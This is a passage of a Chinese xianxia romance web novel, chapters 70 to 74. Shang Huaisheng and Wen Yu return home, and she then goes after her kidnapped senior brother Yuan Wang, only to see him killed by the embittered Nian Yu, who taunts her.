“我很担心你。”商怀笙声音低了下去,“上次在长眠海的石壁中,你带我上来的时候,有那么一瞬间,我感觉你的身体好像变得透明了,我以为是我看错了,但你今天又……” “是你看错了。”问玉低头,在她脸颊上亲了一下,“不要担心,我好得很,或许是这段时间没有休息好,有些虚弱。” 商怀笙怎么都没办法把“虚弱”这两个字和问玉挂钩,追问道:“你为什么没休息好?” 问玉低头想了想,笑道:“或许是某人在她妹妹面前把我说成只是顺道一起出来的人,气的吧。” “……” 商怀笙反应了一会儿,心虚地站了起来,“那、那是因为,我还没想好怎么跟小叙说这件事情。” “嗯,对啊,你们两个人还在我面前聊陆雪青呢。”问玉笑得风轻云淡,“可能在你妹妹心里,已经把陆雪青当成姐夫了吧。” “没有,我已经跟小叙说过了,我不喜欢陆雪青。”商怀笙焦急地解释道,“我也跟陆雪青说了,我不喜欢他,只把他当成朋友。” 白日里问玉突然脸色苍白地晕倒,让处在崩溃中的商怀笙变得更加六神无主,把问玉带回来的时候她甚至都感受不到问玉的气息和心跳,他身体僵硬得就像个死人一样。 商怀笙在他床边哭了一下午,怕他永远都醒不过来了,直到问玉的胸膛重新开始起伏,她才冷静下来。 “我现在最喜欢你了。”商怀笙攥住他的手,“所以你不要有事。” 问玉心头一跳,扬起笑意,轻轻嗯了一声,将她拉进怀中,“我知道。我也最喜欢你。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-74 第71章 第七十一章 他不会害你的 傍晚, 寒风呼啸,商怀笙和商叙一同用晚膳,许是猜到她们要离开, 这一段做的格外丰盛, 还特地请了外地的厨子过来。 “问玉道长情况如何了?” 下午商叙过去看过,那时问玉还没醒。 “已经醒了,并无大碍。” 问玉也不清楚自己为什么会晕倒, 他说什么睡不好所以虚弱的话,商怀笙是不信的,具体的原因还要回去问问宋良白。 商叙道:“你将他带回来的时候着实吓到我了,我以为你们遇到了什么危险。” 她对问玉了解不深,但从周围人的态度来看,问玉一定十分强大, 所以众人才会信任他依赖他。 可他面无血色地躺在商怀笙怀中, 苍白得像个纸人一样, 与商叙印象中的他相去甚远,有那么一个瞬间, 她感觉问玉的身体快要消散了。 “没有遇到危险。” 商怀笙说着, 低头喝了一口汤,盖住眼底伤心的神色。 但知道盖羽飞甲与元妄有联系这件事,确实对她造成了不小的打击,商怀笙想不明白元妄这样做的缘由, 他若想要害她, 何必辛苦养她长大——最大的可能, 就是他被人胁迫了。 所以她要回去问问元妄,为什么要这样做。 “原本是要多住几日的,可是遇到了些突发的情况, 需要提前回去。”商怀笙抬眸,望向商叙的双眼,“等事情解决了,我会再回来的,陪你久住一段时间。” “好。”商叙应下来,唇角延伸出笑意,“和问玉道长一起吗?” “……”商怀笙微愣,而后脸颊不由自主地红了起来,“你看出来了。” 商叙无奈地叹气,“你那样慌慌张张地闯进来,一副天塌了的样子,又寸步不离地守在他身边,我看不出来才奇怪吧?” 商叙:“在日曜城的时候,你们就已经在一起了吗?” “并没有,那时候我们还是相看两厌的状态。”至少问玉对她是十分嫌弃的。 “才过去不到半年,便情深似海了?”商叙揶揄道。 商怀笙不好意思地低下头,“发生了很多事情。” 说完,她忽然一愣,既然盖羽飞甲的事情和元妄有关,那她中蛊后掉入囚龙谷的事情呢? 她要下山过生辰,元妄也是知情人,元妄足够了解她,也应该能猜到她要走哪一条路…… 商怀笙不敢再想了,她不能因为一个陌生老头的只言片语便去猜忌自己最亲近的家人。 可是,她真的很想问清楚,马上就问清楚。 商怀笙握紧拳头,又缓缓松开,心情低落,满桌的佳肴也食不下咽。 “看来你真的得快点回去了。”商叙语气中多了几分担忧。 “明日便启程。”商怀笙道。 商叙停顿片刻,从袖中抽出一个信封,“陆雪青给我写了信,我本来打算过几日再告诉你的。” “你们好友之间的书信,不必知会我的,知道他平安无事就好了。” 商叙蹙眉,“若只是普通的内容,告诉你一声也就罢了,但是这封信我总觉得有些不对劲。” 她将信展开,铺在商怀笙面前,商怀笙粗略扫了一眼,便也皱起了眉头,“兵符,暗卫,落凤原的布防图……他怎么不把金库钥匙也给你?” 商怀笙话音未落,商叙摊开手掌,一串钥匙出现在她掌心,两个人对视一眼,皆意识到了不对劲的地方。 “‘若能再见怀笙,代我问安,吾心悦之,岁岁年年,此情不改’……这怎么,这么像遗书啊?” 若是只看到最后一句,商怀笙还会吐槽几句,但是通篇看下来,就像是交代后事一样,从落凤原的种种到对于李承允的进言献策,甚至对大庆百年基业的憧憬展望,洋洋洒洒写了三大张,笔力遒劲,力透纸背,字里行间都在传达着一个信号:我不回来了,望你们安好。 “信是中午你们出门后收到的,本想等你回来再告诉你,但是又遇上问玉道长昏迷,你们明日便要离开,我怕再不说就来不及了。” 商叙满面愁容,将那些信折好放起,“陆雪青从前也是个爱操心的,每次给李承允写信也会叮嘱许多,但给我的信里写这么多,还是头一次。” 他不是跟着谷主去拜访长辈了吗?能有什么事情? 商怀笙回忆起她和陆雪青分别前的最后一面,那时的他好像就有些不对劲,笑容中似乎带着苦意,但那时商怀笙不是个会察言观色的,以为他是被拒绝才是如此,并未多想。 他到底去哪里了? 商怀笙扶额,心中那股不安的感觉再次蔓延开来,顺着她的气管上涌,是她呼吸困难。 “我去打听一下。”商怀笙拍拍她肩膀,“天泉医谷几乎都是医修,没有好斗之人,应该不会有什么事情的,你不要太担心了。” “……嗯。”商叙迟疑地点点头。 * 天不亮,商怀笙和问玉便踏上了回程的道路,和上次商叙离开一样,他们也并未告知将军府的人,安静地离开。 问玉的状态已经完全恢复了,半点不见昨天虚弱的样子,迎风立在剑上,一副飘逸清雅的仙人模样。 商怀笙抬手,把玩着他飞扬的发丝,提起陆雪青的事情,“他说要去拜访前辈,不知道是什么样的人,能让谷主单独带他前去拜见。” 问玉想了想,说:“你说陆雪青的母亲也是天泉医谷的人,我倒想起一件事情来,百年前归元鬼针在天泉医谷还并非是禁术,能够稳固魂魄,尤其善于治疗一些幻术媚术迷魂术带来的后遗症。” “后来有个天赋绝佳的弟子,发现了归元鬼针的另一种用法,竟然能让已逝之人起死回生,在各大宗门中引起了不小的骚动,但是没多长时间便没消息了,归元鬼针也被列为了禁术。” 商怀笙听得认真,思考后问道:“是不是有什么副作用?” “天泉医谷的人对此事守口如瓶,而且当时我在闭关,等我出来的时候,那弟子也已经不在医谷了。”问玉说。 “那个天赋绝佳的弟子,会是陆雪青的母亲吗?” 问玉摇头,“我不清楚,只是突然想起此事。你若是不放心,可以联系一下陆雪青。” “我昨天试过了,他没有回应。” 商怀笙说完,顿时觉得耳边呼啸的风声都小了。 问玉似笑非笑地看向她,“好啊,我说昨夜你怎么偷偷溜出去,过了半个时辰才回来,我还当你是去找商叙告别了呢。” 他嘴角分明是上扬的,商怀笙却感到一股强大的压迫感,她心虚地低下头,“我还以为你睡着了。” “那你真是有心了,还知道在我睡着了之后去,我是不是该夸夸你?” “那我当着你面做,你不是更生气?” “你心里我就这么小气?” “……不是吗?” “……”问玉抚上她的脸颊,笑声中夹杂着无奈,“是,如果可以,我希望你永远都不要见他。” “可是……” “我知道,他对你妹妹的恩情,所以我也不会阻止你。”问玉的语调变得缓慢,似乎有些羞于承认,“我只是有些吃醋而已。” 商怀笙歪头,轻吻他的掌心,“师叔容貌无双,有师叔在身边,我哪里还能看得到别人?” “那些话本不是白看的,这样的话也是信手拈来了。”问玉轻笑一声,忽的变了脸色,把手抽走,“我就知道,你不过是贪恋我美色而已。” 商怀笙:“嗯?这时候你不应该说你眼里也只有我,然后亲我一下吗?” 问玉睨她一眼,“哪个野男人的作派?” “师兄哄小姑娘都是这样的。”商怀笙的语气变得有些失落。 “你师兄他……净教些没用的。” 问玉转过来,握住她的手,“不管元妄做了什么,他都不会害你的。” 商怀笙抬眸,“你怎么这么笃定,你不是不喜他吗?” “我是不喜他。自他拜入师门以来,桃花不断,也带回来几个说想要成亲,正式结为道侣的,最后都不欢而散,我不喜欢这样滥情的人。” “但是我也能理解他,他自小没有父母,孤身一人,吃百家饭长大,所以对家有着别样的执着。” 问玉其实比元妄大不了多少,他也没有父母,有时候看着元妄追逐陪伴的模样,也会想起自己。 但他比元妄要幸运,他身边还有个相依为命的哥哥,后来又遇到师父和宋良白,待他们如亲人一般。 “元妄视你为亲人,他不会害你的。” 听了他的话,商怀笙有些许安慰,但更多的还是酸涩,师兄师姐很少提起自己的过去,她的过去固然是噩梦,但师兄师姐也有自己不愿回忆的过去。 商怀笙开始犹豫,她到底要不要质问元妄此事,或者直接装作不知道,将此事揭过,就当它从未发生过? 等见了元妄,她不知道自己能不能问的出口。 现实没给商怀笙犹豫的机会,等她回到四水阁的时候,元妄已经离开了。 他陪同一只小队去山下除妖,一只修为不怎么高的蛇妖,小队的人回来了,元妄却被突然出现的蒙面修士带走了。 第72章 第七十二章 我自己也可以 镇上的蛇妖已经作乱多日, 流窜于周边的村庄小镇,前前后后抓走了二三十人。 一开始他对村中寡居的老人或是流浪过来的难民下手,并未被发现, 后来便开始明目张胆地在白天袭击村中百姓, 这才引起了官府的重视,在经历了两次失败的捕捉后,他们向四水阁请求帮助。 元妄带领四水阁弟子循着蛇妖留下的腥臭踪迹, 追至一处荒废的宅院,院中妖气最盛,想来便是妖怪的巢穴。 他们不敢贸然闯入,怕蛇妖受到刺激伤害被他掳走的百姓,便在院外结阵,元妄主动提出深入巢穴将蛇妖引出来。 蛇妖修为不高, 化形之术都不擅长, 脸上留着鳞片, 连最基础的法器都无法抵御,很快便被打出原形。 这次抓捕计划本该万无一失, 可就在元妄将蛇妖引出宅院后, 异变陡生,一道鬼魅般的黑影从屋檐上悄然滑落,速度快得只剩下一片残影。 等他们意识到对方也是个修士之时,已被对方的诡异手法钳制住, 无法动弹, 只能眼睁睁地看着元妄被带走, 消失在夜色之中。 “那人很可能跟了我们许久,我们还以为他和蛇妖是一伙的,奇怪的是他只带走了元妄师叔, 并未将蛇妖带走。” 地牢中,丰宝将事情的来龙去脉尽数告知商怀笙,说完,不忘安慰一句,“大师伯已经带人去寻了,你不要太担心了。” 他观察着商怀笙的神色,对她的担心更甚于对元妄的担心,元妄的修为远比他们要高,虽然平时看着风流自在疏于修行,但心思活络,这么多年来斩过的妖魔也不在少数。 商怀笙是出了名的急性子,尤其扯上了她最亲近之人,程公乐特地叮嘱丰宝,一定要看好商怀笙,不能让她冲动之下闯出祸事。 地牢中灯光昏黄,显得商怀笙的脸色苍白无比,她红了眼眶,却不是单纯的悲伤与担心,更有一种近乎凶狠的光芒。 偏偏在她查到元妄和盖羽飞甲的联系之后,出了这样的事情,这是不是又是元妄的另一重算计呢?是不是他的自导自演? 商怀笙不愿意用这种心思去揣测猜疑,可她无法克制自己的想法,一旦信任的堤坝开了口子,怀疑和猜忌便如决堤洪水,无法抑制。 “你为什么要抓那些人,你把我们引过去,有什么目的?!” 丰宝一时没有看住,商怀笙已经进入牢房之中,拔出断龙死死抵在他的七寸之上。 蛇妖窝在角落,他上半身是人形,下半身是墨绿色蛇尾,竖瞳在剑锋寒光下急剧收缩,嘶嘶地吐着信子,他轻轻歪头,神态竟似有些无辜。 “说话!”商怀笙命令道,每个字都像是从牙缝中挤出来的,“你知道元妄会去,对不对?!你们是不是冲着他来的?!” 还有另一种可能,元妄是被胁迫的,所以有人要杀人灭口。 能想到用盖羽飞甲来控制断龙,商怀笙不敢想象对方会是什么样的人,现在元妄被他掳走,生死未卜。 那股愤怒和委屈还没来得及爆发,便被更猛烈的担忧和恐惧压了下去,两种矛盾复杂的情绪在她胸腔冲撞,几乎要将她撕裂。 她可以不去纠结过去种种,只要元妄平安回来。 商怀笙被翻涌的情绪灼烧,无处宣泄,便将剑又往前一分,露出了前所未有的凌厉杀气,“你若是不肯开口,我大可以将你杀死,把你魂魄抽取出来,到时候我想知道什么,都可以问出来。” 蛇妖的皮肤被划破,渗出几滴血珠,他皱了皱眉头,身体颤抖两下,摆出攻击的姿势,带动身上的锁链发出碰撞的声响。 “怀笙,小心点!”丰宝惊呼一声,抽出长剑。 出乎意料地是,蛇妖并未出手,而是低下头,发出一声细微的呜咽说:“饿……好饿……” “你伤了那么多人,竟然还敢说饿!!” 商怀笙怒气冲天,恨不得立刻杀了他。 “等等,怀笙,等等。” 丰宝像是发现了什么,收了剑走到二人面前,待他仔细观察过蛇妖的状态,瞳孔骤缩,“这蛇妖……不对劲!” 他点亮狱中的壁灯,在明亮的灯光下,蛇妖周身的妖气竟然开始不稳定地波动,如同水纹般荡漾开来,隐隐露出底下近乎透明的躯体。 “怀笙,你别急,我去请师祖过来。” 丰宝来回很快,不仅带来了宋良白,还有与他一同议事的问玉。 看到商怀笙泛红的眼眶,问玉便知道她是哭过了,想抬手摸一摸她的头发,但宋良白站在二人中间,他只是淡淡地看她一眼,又收回视线。 宋良白仔细观察,良久,才道,“这妖怪不像是自然修炼成人形的,也不是遇到什么机缘偶然化形,倒像是被催化而成的。” 他低头去看蛇妖身上的鳞片,完全没有正常蛇类该有的光泽,在灯光下反射着僵冷的幽光,像是浸过油脂,死气沉沉,毫无生机。 仔细去看,那鳞片与底下皮肉连接的地方,竟透着被灼烧过的焦黑痕迹,还有蛛网状的暗红色血丝,仿佛是用什么邪术烙上去的。 “这……很奇怪。” 宋良白与问玉对视一眼,不约而同地想起了从商叙身上剥离出的那只四不像的妖怪,两种有种诡异的相似之处。 商怀笙听完下了结论,“也就是说他是人为炼化的妖怪?那带走师兄的人就是他的主人?” “或许是。” 宋良白刚点了个头,商怀笙又把剑横在他脖子上,“你主人是谁!不说我就剥了你的鳞片!” “怀笙……” 宋良白有些无奈,却没有阻止她,他的弟子陷入险境,宋良白也忧心不已。 但他担心的,是这背后或许隐藏着更可怕的阴谋。 全所在地的蛇妖似乎被她的杀气震慑,竟发出一阵细微的呜咽,接着便不受控制地干呕起来,吐出许多绿色汁水后,一个长条状的黑色物体被他吐了出来,蛇妖竖瞳中闪过一丝懵懂与痛苦,身体颤抖着,扭曲地化为了蛇形。 “是个盒子。” 丰宝刚要伸手,被问玉伸出的胳膊拦住。 “小心有毒。”问玉用法术隔空将盒子捡起,拆开后,一张纸条出现在众人眼前,里面只有短短六个字。 日曜城 龙骧卫 “这是什么意思?”丰宝不解地问道。 其他人可能不知道,但商怀笙心里清楚,这正是她待过的第一个军营的名字,里面有许多李昱辰从各个地方搜罗来的能人异士。 李昱辰登基之后便将这只军营解散了,那些人有的入朝为官,有的踏入仙途,有的云游四方,彼此之间再无联系。 龙骧卫三个字出现这这里,便说明商怀笙猜得没错,不管元妄是不是同谋,这件事情都是冲着她来的。 * “你不能去。”问玉第一个提出反对,“这显然是冲着你来的,明知道是陷阱,为什么还要去送死呢?” “万一师兄出事了怎么办?” “你都调查出了元妄的心思不纯,他跟那些人是一伙的,他们的目的就是引你过去。只要你不去,他们便没理由伤害元妄。” “如果是因为我,那师兄也可能是被胁迫的,我不能放着师兄不管。他们的目标是我,今日利用师兄没有成功,往后还可能会利用其他人,师姐,师父,甚至是你……” “可是……”问玉苦口婆心说了许多,但他也知道商怀笙是不会听的,他无奈地叹了一声,道,“如果你去的话,我不会和你同去的。” 商怀笙一怔,抬眸看向他,眼眸中写满了不可置信,片刻后又变成了委屈和愤怒,“谁说我要跟你一起去了?我自己也可以!” 此去危机重重,她和问玉不过才短短这几个月的情谊,她竟然觉得问玉会站在她身边。 可就算是再深厚的情谊,也没有拉着人家去送死的道理。 商怀笙本来就打算自己去,还在苦恼该如何劝秦湫和问玉同意,可问玉这样主动说不和她一起,她反倒有种被抛弃被背叛的感觉。 “我会把师兄安然无恙地带回来的!” 说完,商怀笙怒气冲冲地离开了宋良白的书斋。 宋良白在旁边看了半天,等商怀笙走远了,才缓缓开口,“怀笙这丫头气性大,你何必这样激她,直接告诉她实情也未必不可。” 问玉扶额,语气中满是疲惫,“我该怎么告诉她,幕后之人很可能是我兄长?如果兄长真的杀了元妄,你觉得她以后还会原谅我吗?” 宋良白顿了顿,道:“元妄对怀笙而言亦如亲兄一般。” 问玉无奈地叹了一声,“这就是了。我会偷偷跟着她的。” “我也不可能让她自己去。”宋良白说完,意味深长地看着他,“你真的不知道你兄长要做什么吗?他这段时间一直挺正常的,怎么突然又开始发疯了,竟然还敢对我的徒弟下手!” 问玉脑海中闪过那封被他销毁的信,闭上眼睛,轻轻摇头,“不知。” “这么多年了,我以为他已经放下了。”宋良白眼眸中多了几分同情与怜悯,“问玉,我一直视你为师弟,这件事从你出生起便没有变过。” “……我知道。多谢师兄。” 第73章 第七十三章 兄弟 天晴了没几日, 又开始下雪,小雪如同白色的碎屑飘落,又因为温度的升高, 变成了雨滴, 将整个和神山都变得潮湿,泥泞。 “我已经给大师兄传讯,他会去日曜城接应, 怀笙,不管遇到什么事情都不要冲动。” 商怀笙执意要去,秦湫拦不住她,也同样担心元妄的处境。 出事之前她都没有发现元妄有任何异常之处,可是事后细想,元妄很久之前便有些奇怪, 素来不爱看那些复杂古文的他, 年初便开始泡在藏书阁, 还时常摘录古文字来找她翻译,内容大都与千万年的神魔大战有关。 “你能将元妄平安带回来自然是好, 但是一切以你自己为主。”秦湫抬手为商怀笙整理领口, 以笑容来掩饰内心的慌乱与担忧,“至少你要平安回来,好吗?” “我一定会把师兄带回来的。”商怀笙神色冷峻,语气严肃, 她握住秦湫手, 又默默松开, “师姐,等我回来,我要告诉你一件事情。” 秦湫轻笑一下, “就当这是你的保证了。” 商怀笙神色微微柔软了些,扯出一丝笑容,道了声“走了”,便转身离开,留秦湫一人撑伞立在原地,无助地叹息。 “师叔。”她轻轻喊了一声,声音几乎被雨滴声遮盖。 问玉自她身后走出,久久凝望着商怀笙离开的背影,神色同样凝重,“你就这样放任她自己离开?” “那人将元妄带走,又引怀笙前去,定然是知道元妄与她亲近,那么我也会成为他的目标,若我同去,反倒会使怀笙分心。” 秦湫平静地说着,似乎早就猜到了对方的身份。 “怀笙握住断龙的时候,我便猜到会有这么一天了。”秦湫看着问玉,眼神中竟有几分同情,“师叔,我认识的师叔,一直是问玉。” 问玉微顿,自嘲地笑笑,“这么多年了,我从未想过,原来在兄长眼中,我只不过是一个偷走他弟弟身份的妖怪。” “陈问当年已经没救了,是陈年玉求到师祖面前,执意要用镇器玉将他救活,师祖无奈之下便用玉为陈问重塑肉身,将他残缺的魂魄注入玉身中,以玉养魂。” 当年的秦湫初入师门,许多事情只是听师兄师姐们闲聊时提起,对陈问也只是有几面之缘,后来再见师叔,他已经是问玉了。 没过多久,师祖仙逝,宋良白和年玉不知因何缘故大吵一架,分道扬镳,逐渐成了如今的局面。 最开始见到的陈问并没有如此容貌,虽也算得上清秀,但是内向木讷,待人接物也有些畏缩之意,修行刻苦,却一直不见成效,与他们这些刚入门的师侄切磋也占不了上风。 肉身重塑后,他的修为以肉眼可见地速度提升,不到半年的时间,便已经能跟当时已在悟道期的宋良白打得有来有回,模样也悄然变化,越发俊美,清丽脱俗。 明眼人都能看得出奇怪之处,但只当是镇器玉养魂后带来的好处,再加上从前的陈问很少与人交流,大家也都渐渐认可了现在的问玉,没人再去纠结他从前的样子。 问玉垂眸,那双好看的眉眼中蕴着难以言喻的悲伤,“我有陈问全部的记忆,所以我便觉得我就是陈问。没想到兄长早就发现了,我不是陈问。” 秦湫怔愣住,瞳孔中写满震惊,“师叔这是什么意思?您难道不是因为重生后性格才改变的吗?” “人有魂魄,玉也有玉魂。” 问玉没有正面回答,雨已经停了,叶子上的水珠滴滴哒哒地落下,他收了伞,走上和商怀笙相同的方向。 * 龙骧卫遗址 李昱辰继位后,这里荒废多年,死寂如墓。 商怀笙凭借记忆,向深处走去,腰间的传音镜不停地震动着,是高明叶他们发来的讯号,他们即将赶到。 “怀笙,在外面等着我们。” 大师兄的声音传过来,商怀笙脚步没有任何停顿,感应着周围古怪的灵气,她不惜损耗真气,强行穿过了一道散发着不详波动的结界。 空气如同水纹荡漾,将她彻底吞没,短暂的眩晕与空扭曲感后,一股浓重的血腥味与陈腐的尘土味扑面而来,商怀笙一个踉跄,忍住想要呕吐的冲动,稳住身形,发现自己置身于一处地下石窟之中。 入眼便是一张巨大的石床,床身约有半米高,台面被磨得光滑,床身刻满了古老的咒文,床上有一处凸起。 商怀笙心下一惊,认出这上面的文字与无间鬼域中相似,她缓步上前走去,赫然发现那凸起的部分是一个人类的躯体,他脸上盖着白布,头颅低垂,长发披散着,口鼻处毫无起伏,显然已经气绝多时。 在尸体的身下,三个圆形的凹糟格外眼熟,但与无间鬼域中不同的是,里面已经嵌上了三颗青灰色的珠子,在昏暗的石窟中散发着光芒,也使整张石床看起来晶莹剔透。 商怀笙的心脏猛地一缩! 长眠海中空荡荡的凹槽,元妄师兄离奇出现在石壁中……若是他先发现了石壁,带走了珠子呢? 或者,他就是为了这些珠子而去的。 那床上的尸体是谁?难道…… 无边的恐惧与悲痛瞬间攫住了她,商怀笙不受控制地伸出手,想要揭开那人面上的白布,却又害怕看到残酷的真相。 “师兄……?” 商怀笙低低地喊了一声,声音颤抖着,将手中的白布拿开,看清石床上那人的面容,她先是一愣,随即长舒一口气,紧接着又变得疑惑起来。 这个人,长得和问玉有几分相似。 但也只是眉眼处和轮廓处有那么一点点像,乍一看会吓一跳,但是仔细去看,那具尸体的五官远没有问玉精致,整张脸白里透青,不知道是不是死了太久的缘故。 这是谁? 商怀笙认真地打量着他的脸颊,正猜测着她的身份,身后却突然传来脚步声。 她拔出断龙,警惕地转身,看清来人时却是一震,“你不是太虚殿的吗?” 来人一身黑袍,面容都隐藏在阴影中,和之前在镇化山见过的太虚殿的太轩一模一样,最重要的是他身上的气息,上次在镇化山商怀笙就发现了,他身上的气息很熟悉,明明是第一次见,她却觉得已经和他见过数次。 “怀笙,许久不见。” 熟悉的声音传来,商怀笙愣在原地。 黑袍人摘下兜帽,露出一张带着温柔笑容的脸,和问玉有一丝相似,与床上的尸体却有七分。 “……年玉?”商怀笙有些搞不清眼前的状况,“你是来救我师兄的吗?” 闻言,年玉眉眼弯弯,大笑起来,“哈哈哈,怀笙,你还是这般单纯。若你当时认我做师父就好了。” 他虽笑着,却让人感到毛骨悚然,商怀笙再次警惕起来,从身侧的尸体与年玉的脸上,猜出了一些真相,“是你干的?!是你带走了我师兄?!!” “不是我带他走的,是他自愿的。一听说你会被断龙控制失去自我,他便主动要与我合作。”年玉语气中多了几分假模假样的感慨,“真是兄妹情深。” 商怀笙蹙眉,厉声质问道:“我师兄在哪儿!!” “别急,他马上就出现了。” 年玉挥手,周围的石壁上光影开始蠕动,一阵幽蓝荧光闪过,石壁上多出了两个被暗金色符文锁链紧紧缠绕的人形,正是她一直在寻觅的师兄,和多天前便杳无音讯的陆雪青。 陆雪青脸色苍白如纸,双目紧闭,但是衣裳干净,看起来并无外伤,元妄却像是受到了重创,浑身遍布血迹,嘴角也带着血痕,头发散乱着,气息微弱。 商怀笙的心脏像是被狠狠地撕裂,“师兄!!” 听到他的呼唤,元妄微微抬起头,口中却好像是被下了禁制,只能发出模糊的呜咽,他用尽全部力气拼命地摇头,示意她快走。 “多么深厚的情谊。”年玉脸上露出一抹扭曲而残忍的笑意,“你们并非血脉亲人,他竟也愿意为你做到这份上。” 他将目光投向石床,眼中填满了锐利的悲伤,“可我只有这么一个弟弟,我唯一的亲人,却不能与我相伴。” 商怀笙握紧剑,在愤怒与担忧之中,察觉出一丝不对劲来,“你弟弟不是问玉吗?” “当然不是!他才不是我弟弟!”年玉忽然变得激动起来,语气中满是怨毒,“我的问儿听话懂事,他是世间最可爱最听话的孩子!是问玉抢了他的身体,夺走了本该属于他的人生!!!他是个可耻的小偷,是一个怪物!” 商怀笙不敢想象,从前提起问玉总是满脸骄傲的人,竟会用这样怨毒的话语来描述他。 年玉的面容因愤怒而扭曲,但在说完之后,他又迅速冷静下来,嘴角勾起一点疯狂的笑意,“但是没有关系,我的问儿马上就要回来了。” 他抬起手,甩出一截闪着亮光的东西,商怀笙惊呼一声,迅速朝着元妄的方向移动,却还是迟了一步,眼睁睁看着那截匕首刺进了元妄的心脏,温热的鲜血喷溅到她脸上。 元妄痛苦地闷哼一声,整个身体都垂了下去,再没了声响。 第74章 第七十四章 剑鞘 “就是这里了。” 高明叶带人赶到龙骧卫, 还未靠近,便感觉到一股强大而古怪的妖气,混杂着人类的气味和一丝若有若无的血腥味。 “先别靠近。”高明叶拦住想要上前的徒弟, 神色凝重地说, “这里有结界。” 高明叶分出一丝灵气去探知,这里布下的结界已经很老了,轻易便能破开, 但他却在阵法中感受到了熟悉的气息,仿佛在哪里遇到过这样的针纹与脉络。 四周不见商怀笙的踪影,她显然已经进入到结界中,她性格本就急躁,此事关乎元妄的安危,商怀笙难免失去分寸, 高明叶早做好准备, 与她一同入内营救, 可是那熟悉的感觉却让他产生了犹豫。 这……到底是在哪里碰到过呢? 就在他犹豫之间,身后传来一阵清脆而锋利的咻咻声, 长剑划破带着湿气的空气, 一队身着统一蓝底白纹道袍,神色肃穆凛然的修士出现在他们身后。 “太虚殿的清律小队,他们怎么会出现在这里?” 太虚殿作为修仙界第一大门派,常常负责为众门派仲裁纠纷, 维持秩序, 也会清除一些门派中入魔伤人、叛乱挑事的弟子, 本门派不忍心将其铲除时,清律小队便会出马。 看到为首那面容威严,眉毛皱得能夹死苍蝇的修士, 高明叶心中暗道不好,心脏狂跳如擂鼓,不可避免地担心起里面的商怀笙来。 自元妄失踪,他便察觉不对劲……不,更早的时候,他去长眠海巡逻时,便发觉长眠海四周有修士活动的痕迹,那时他就该警惕起来的。 但常有修士抱着能够找到神器获得机遇一飞冲天的念头,去长眠海周围碰运气,在确定妖兽没有苏醒的痕迹后,高明叶就没有过多的去调查,直到他回来才知道这次境外试炼的地址选在了长眠海。 一切都太奇怪了,他拼命地回想,这里的结界与长眠海的异动,仿佛有着千丝万缕的联系。 但清律小队的人并没有给他去捋清的事情,为首的雷啸已经走上前来,语气严肃地质问他,“你们怎么会出现在这里?” 他居高临下的态度让人不适,同行的弟子中有人已经皱起眉,高明叶往身侧看了一眼,示意他们冷静,开口道:“四水阁有弟子失踪,我们追查至此。” 雷啸冷笑一声,“巧了,我们接到举报,有人伙同妖孽作乱,将活人抓到此处炼制人丹,以提升修为……你们阁中弟子是失踪,还是畏罪潜逃?” “嘴巴放干净点——!!”程公乐冲上前,狠狠瞪着雷啸,“别以为你在太虚殿就有什么了不起,你们清律小队打着肃清的名义干过多少恶事,以为旁人不知道吗?!!” 雷啸挑眉,完全没把他的话放在心上,嘲讽道:“反应这么大,看了你们是铁了心要包庇罪人了?四水阁上下不过百十号弟子,清理起来倒也轻松。” “你!!” 程公乐愤怒拔剑,身后四水阁弟子也跟着行动,高明叶伸出胳膊想要阻止,对面的雷啸不慌不忙,抬手挥了挥,身后三十余名太虚殿弟子便一同拿出法器。 剑拔弩张之时,身后传来一声巨响,龙骧卫深处,一道红光如沸腾的岩浆自地底爆发而出,散发出令人灵魂战栗的恐怖波动,霎时染红了整片天空。 * “师兄……” 商怀笙将锁链劈断,元妄的身体没了支撑,向前倒下,她伸手接住他,颤抖着去探他的鼻息。 “怀、怀笙……”元妄尚有一丝微弱的气息,他艰难地睁开眼,用全身的真气稳住自己已经被刺穿的心脏,抬起手,握住了商怀笙的手腕,“是师兄错了……我害怕你会被断龙反噬,想、想为你找到剑鞘……” 他对四周的感知已经极其微弱,耳边只有商怀笙压抑的低泣和混乱的喘息,眼前一片模糊,他努力睁大眼睛,也看不清商怀笙的脸。 直到生命的最后时刻,他才想明白年玉的目的,他是必须要死的,用他的死来刺激商怀笙,才会让她失控暴走,才更有可能被断龙反噬。 “怀笙,你不要被断龙控制……它是你的灵器,他和你是一体的。”元妄紧紧地抓着商怀笙,他以为自己已经握紧了,但其实他的手正在无力地往下滑落,“不要太伤心……是、是我的错……都是我做的……对不起……” 他还想说,在商怀笙来到四水阁后的十余年,是他人生中最快乐的日子。 他和秦湫一起抚养一个懵懂无知的孩子,给她做饭做衣裳,在她做噩梦的时候把她抱在怀里安慰,在她闯祸的时候替她收拾烂摊子,看着她一点点长大,忘记悲伤的过去,变成活泼可爱的模样,成为现在的商怀笙。 被依赖,被信任,就好像他真的有了一个家——他有记忆时便一直渴望的家。 他已经没什么遗憾了。 元妄没有力气再开口,他也不想告诉商怀笙这些,要是她讨厌他,恨他的话,或许他的死就不会给她带来那么大的影响。 “师兄,我都知道了,我不怪你。”商怀笙抓住他滑落的手腕,崩溃痛哭,“我真的不怪你!” “我……” 元妄扯了下唇角,真好,至少他在死前最后一句话,是怀笙没有怪他。 元妄的唇角微微扬起,很快又落了下去,和他的身体一起,失去真气的支撑,彻底地,没有了气息。 “师兄——!!” 巨大的、无法形容的悲伤和绝望如同海啸一般摧毁了商怀笙的理智,吞没了她的呼吸,连心跳都感受不到。 脑海中只有一个念头,她要杀了年玉!杀了这一切的始作俑者! 断龙在她手上爆发出红光,察觉到器主的异常,断龙似有些抗拒,但很快被商怀笙愤怒的心境感染,原始的杀戮和嗜血的本能回归,它变得兴奋起来,源源不断地散发出能量。 对,就像这样!毁掉一切!! 年玉的心中无声地呐喊,眼神变得癫狂,他完全没有恐惧之色,只有大计即将成功的激动与狂喜! “你的师兄因你而死,这感觉如何?” “对了,你应该还不知道吧,是我告诉李昱辰,在那个小渔村能找到助他成就大业的人。” “还有你的妹妹,你真以为一个凡人能在战场上数次死里逃生?若不是我帮她创造了那个守护神,她早该死在战场上,你还要感谢我呢。” “不过对她来说,死在战场上比一个人孤苦要更幸福吧?” “你知道前尘镜为什么照不出你的前世吗?因为你本就不是人类,只不过是在我的帮助下才勉强进入轮回。” “和问玉在一起很开心吧,可惜他也很快要死了,商怀笙,你的存在注定了他会走向灭亡。” “商怀笙,你身边人的不幸,皆是因为你,你才是最不该出生的那个人。” 